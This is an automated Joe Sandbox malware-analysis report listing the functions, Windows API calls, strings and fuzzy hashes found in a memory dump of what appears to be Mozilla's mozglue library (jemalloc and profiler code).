Instruction Fuzzy Hash: 9592BC72A157618FD704CF28C580715BBE5BF86728F29866DE8698B791E332E841CFC1

Function 6C37C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C37C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C37C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C37C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C37CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C37DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C37DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C37DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C37E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C37E472

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 32dab3181be2a2554b1329678d82bc3a642f469febaa44944adeefff412f8252
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 6733CD71E0021A8FCB14CFA8C8806EDBBF2FF89314F284269D955AB745D735A945CFA4

Function 6C33ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C33EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C33EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C341695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3416B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C341770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C341A3E

Strings

~q1l, xrefs: 6C33ED13
~q1l, xrefs: 6C33ED10

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~q1l$~q1l
API String ID: 3693777188-2809891565
Opcode ID: 12eb717375bebaf66ad6caf9229d494f9d4f2553e13fd3ae5d2eb240a727a4ec
Instruction ID: 1085f12aa535e55e0c8dc16ee71acd86ab4e4b67767b60ddb9b0cd650e8d7dde
Opcode Fuzzy Hash: 12eb717375bebaf66ad6caf9229d494f9d4f2553e13fd3ae5d2eb240a727a4ec
Instruction Fuzzy Hash: 1AB31771E00269CFCB14CFA8C890A9DB7F2BF49304F6582A9D459AB745D731AD86CF90

Function 6C32FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39E7B8), ref: 6C32FF81
LeaveCriticalSection.KERNEL32(6C39E7B8), ref: 6C33022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C330240
EnterCriticalSection.KERNEL32(6C39E768), ref: 6C33025B
LeaveCriticalSection.KERNEL32(6C39E768), ref: 6C33027B

Strings

<jemalloc>, xrefs: 6C330D62, 6C330D76, 6C330DA7
: (malloc) Error in VirtualFree(), xrefs: 6C330D67, 6C330D7B, 6C330DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C32FE99, 6C32FEB7, 6C32FED3, 6C330DB8, 6C330DD3, 6C3319B4

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 83d1db86d737c92c983d23f7346aedb8755f47a62859ab5189181f5196a8027f
Instruction ID: f10728a20a334a03dade167807d7a3a2db6b3bc22171fdc74a9c6a5e8f93d2da
Opcode Fuzzy Hash: 83d1db86d737c92c983d23f7346aedb8755f47a62859ab5189181f5196a8027f
Instruction Fuzzy Hash: 84C2D171A057918FD714CF28C580716BBE1BF89328F28C66DE8A98B795D776E801CF81

Function 6C37E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C37E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C37EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C37F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C380E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C380E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C380EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C380ED4

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 27b70a8b886a16d927ea60dcbf5fa63db08e7f2964d59254649fc431746ebc6d
Instruction ID: 030ebde9897016f34901070c42968a2951629d9749cc978624eb5aaca98be4c9
Opcode Fuzzy Hash: 27b70a8b886a16d927ea60dcbf5fa63db08e7f2964d59254649fc431746ebc6d
Instruction Fuzzy Hash: EB639D71E0124A8FCB14CFA8C8906DDFBB2FF89314F298269D855AB745D734A945CFA0

Function 6C353E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C377770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>5l,?,?,?,6C353E7D,?,?), ref: 6C37777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C353F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C353F5C
VerSetConditionMask.NTDLL ref: 6C353F8D
VerSetConditionMask.NTDLL ref: 6C353F99
VerSetConditionMask.NTDLL ref: 6C353FA0
VerSetConditionMask.NTDLL ref: 6C353FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C353FB4

Strings

nvinit.dll, xrefs: 6C354479
nvd3d9wrap.dll, xrefs: 6C354466
C>5l, xrefs: 6C353E93

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>5l$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-1704396530
Opcode ID: 10d25b3055db5ac5c0e0d420bbc125405a3913a56fc5b8bb5c657bbdb9ce3446
Instruction ID: 5991cfa3f6110c3594ddddadb39194e06608155ae1cf4fd7765b1159cf783271
Opcode Fuzzy Hash: 10d25b3055db5ac5c0e0d420bbc125405a3913a56fc5b8bb5c657bbdb9ce3446
Instruction Fuzzy Hash: DA52DF71610B898FDB14DF34C880EABB7E9AF45208F54092DE5D78B782DB34E919CB61

Function 6C32FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39E7B8), ref: 6C32FF81
LeaveCriticalSection.KERNEL32(6C39E7B8), ref: 6C33022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C330240
EnterCriticalSection.KERNEL32(6C39E768), ref: 6C33025B
LeaveCriticalSection.KERNEL32(6C39E768), ref: 6C33027B

Strings

MOZ_CRASH(), xrefs: 6C330CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C32FE99, 6C32FEB7, 6C32FED3, 6C330DB8, 6C330DD3, 6C3319B4, 6C331A10

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 58fb4483d3e0a54b364506affb5b53425b38debb71d2fd697a6d715db4f83a55
Instruction ID: 2459f1227c5aa41ce6cb5d4d168d147fcb164a52ef6ca0afe0af170b2207bc20
Opcode Fuzzy Hash: 58fb4483d3e0a54b364506affb5b53425b38debb71d2fd697a6d715db4f83a55
Instruction Fuzzy Hash: A9B29B716057918FD718CF29C590716BBE1AF85328F28C66CE8AE8B795D772D840CF81

Function 6C365600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

schema, xrefs: 6C36606D
data, xrefs: 6C366131
expected a Count entry, xrefs: 6C365AC3
expected a Time entry, xrefs: 6C365CB6
name, xrefs: 6C365E79, 6C365E8F
ProfileBuffer parse error: %s, xrefs: 6C365AC8, 6C365CBB

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 698f6975770ea7680bfa927f217dd81d89b8971378c461158f2e957f4d59f36d
Instruction ID: eac47d97d4e3b033b8f2872d278613adedc9315b200358d598f826262be5d8b2
Opcode Fuzzy Hash: 698f6975770ea7680bfa927f217dd81d89b8971378c461158f2e957f4d59f36d
Instruction Fuzzy Hash: D8922A75A083418FD724CF29C49079AB7E1BFC9308F14892DE59A9BB55DB31E809CF92

Function 6C327810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39E744), ref: 6C327885
LeaveCriticalSection.KERNEL32(6C39E744), ref: 6C3278A5
EnterCriticalSection.KERNEL32(6C39E784), ref: 6C3278AD
LeaveCriticalSection.KERNEL32(6C39E784), ref: 6C3278CD
EnterCriticalSection.KERNEL32(6C39E7DC), ref: 6C3278D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C3278E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C32795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C3279BB
LeaveCriticalSection.KERNEL32(?), ref: 6C327BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C327C82
LeaveCriticalSection.KERNEL32(6C39E7DC), ref: 6C327CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C327DAF

Strings

D9l, xrefs: 6C32787F
D9l, xrefs: 6C32789F

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: D9l$D9l
API String ID: 759993129-1027931690
Opcode ID: 970e61ffa2585a85f5f878a82f38095c109c535561b11c79382da152aaf299c5
Instruction ID: 0f473c395af845cd8e7f2a27606309bdd3225a482b2d7bc107e48f6a5d9c31ae
Opcode Fuzzy Hash: 970e61ffa2585a85f5f878a82f38095c109c535561b11c79382da152aaf299c5
Instruction Fuzzy Hash: 03028431E0121A8FDF54CF29C984799B7B5FF49318F1542AAD809A7711E735AD90CF80

Function 6C362E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C362ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C362EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C362F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C363214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C363242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C3636BF

Strings

set , xrefs: 6C3636EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C36378D
get , xrefs: 6C363205

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 041fbabc00000e4b1cecd26ec0e48b6aa679d078bbf71eead83aec6a391ea68c
Instruction ID: a321d9afb77d73bfd2e0c38e42c19bc95f7bbc96a1e42fc16cc4300597bbfe5f
Opcode Fuzzy Hash: 041fbabc00000e4b1cecd26ec0e48b6aa679d078bbf71eead83aec6a391ea68c
Instruction Fuzzy Hash: 8B325CB06083818FD764CF25C49069EBBE2AFC9318F54881DE5D987B55DB31A84ACF53

Function 6C357E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

v9l, xrefs: 6C358207
schema, xrefs: 6C3581E3, 6C358311
(pre-xul), xrefs: 6C357E88
data, xrefs: 6C358280, 6C3583E1
name, xrefs: 6C357ECF, 6C358335

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$v9l
API String ID: 3412268980-2648943338
Opcode ID: 9847e6bf56908330f019fbd4beb3bb27f9a3395892dc9c89043fecf1268d959c
Instruction ID: 5d6b0756170511c6fcdffa4e51db7e83c380b66d4621c7bbd9bf5d39ed7d8e01
Opcode Fuzzy Hash: 9847e6bf56908330f019fbd4beb3bb27f9a3395892dc9c89043fecf1268d959c
Instruction Fuzzy Hash: F0E180B5A043508BCB10CF68C84065BF7E9BBC5318F14492DE999AB790DB75DD098F92

Function 6C375FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C376009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C376024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Q1l,?), ref: 6C376046
OutputDebugStringA.KERNEL32(?,Q1l,?), ref: 6C376061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C376069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C376073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C376082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C39148E), ref: 6C376091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Q1l,00000000,?), ref: 6C3760BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C3760C4

Strings

Q1l, xrefs: 6C375FFC, 6C376042, 6C376045, 6C3760B3

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: Q1l
API String ID: 3835517998-3596235697
Opcode ID: 54fc9811c1595ce4683e00455c845366b9034369c020669d85be05558e073699
Instruction ID: 7e64f5ae7beb3f2340c948f88740b4e86b54d5ff332b81e7aff178d86ae11b93
Opcode Fuzzy Hash: 54fc9811c1595ce4683e00455c845366b9034369c020669d85be05558e073699
Instruction Fuzzy Hash: F221B5B1A002189FDF205F25DC09ADE7BBCFF45618F008428E85A9B240DB76A548CFE6

Function 6C335E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C335EDB
memset.VCRUNTIME140(ew7l,000000E5,?), ref: 6C335F27
LeaveCriticalSection.KERNEL32(?), ref: 6C335FB2
memset.VCRUNTIME140(ew7l,000000E5,?), ref: 6C3361F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C337652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C3372E3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C3372F8
MOZ_CRASH(), xrefs: 6C337BA4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C33730D
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C337BCD, 6C337C1F, 6C337C34, 6C3380FD
ew7l, xrefs: 6C335E9C, 6C335F22, 6C3361ED

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ew7l
API String ID: 2613674957-909953264
Opcode ID: 8748cbf6b289716adb18f5084990eebd08fc6d9ee39d575302bdcd065856a4ec
Instruction ID: 5c41c250ea616c21d52d3bf52a8bd036f99d630dd57b8806fcf5e21ef6ab7b69
Opcode Fuzzy Hash: 8748cbf6b289716adb18f5084990eebd08fc6d9ee39d575302bdcd065856a4ec
Instruction Fuzzy Hash: 02337B71605751CFD308CF28C590615BBE2BF86328B29D6ADE8698F7A5D732E841CF81

Function 6C364820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

schema, xrefs: 6C3648C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C364CAF
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C364D0A
data, xrefs: 6C3649B4
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C364D65
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C364DB8, 6C364DD8
-%llu, xrefs: 6C364825
9l, xrefs: 6C364F88
ProfileBuffer parse error: %s, xrefs: 6C364DD9

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: free
String ID: 9l$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-2736691197
Opcode ID: ee6b7bc2dd0c1c434960bad793a4e622bb5350c1308a4d96fbcf4e61c1d3803b
Instruction ID: bde7ffac01b761a393368f205ba3a8e3f6901a7955e582d22bf580b1bea106f0
Opcode Fuzzy Hash: ee6b7bc2dd0c1c434960bad793a4e622bb5350c1308a4d96fbcf4e61c1d3803b
Instruction Fuzzy Hash: C0722B75918B858BC322CF34C45139BF7E5AFDA344F108B1EE5CA6BA11EB71A485CB42

Function 6C33D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C34D1C5), ref: 6C33D4F2
LeaveCriticalSection.KERNEL32(6C39E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C34D1C5), ref: 6C33D50B

Part of subcall function 6C31CFE0: EnterCriticalSection.KERNEL32(6C39E784), ref: 6C31CFF6
Part of subcall function 6C31CFE0: LeaveCriticalSection.KERNEL32(6C39E784), ref: 6C31D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C34D1C5), ref: 6C33D52E
EnterCriticalSection.KERNEL32(6C39E7DC), ref: 6C33D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C33D6A6
LeaveCriticalSection.KERNEL32(6C39E7DC), ref: 6C33D712
LeaveCriticalSection.KERNEL32(6C39E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C34D1C5), ref: 6C33D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C33D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C33D82C
<jemalloc>, xrefs: 6C33D827

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: a530a6222fedfe760c70dc644b39b8f876a89c78d2cc1bb981897972ebfab889
Instruction ID: 6178f1498258d87295bc8735fbc91aaaf82e248d1312c0f3b7551b8f2f9102c1
Opcode Fuzzy Hash: a530a6222fedfe760c70dc644b39b8f876a89c78d2cc1bb981897972ebfab889
Instruction Fuzzy Hash: 1C91E371A147918FD714CF29C09472AB7E5FB89318F14992EE5AE87B80E731E844CF92

Function 6C374EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C374EFF
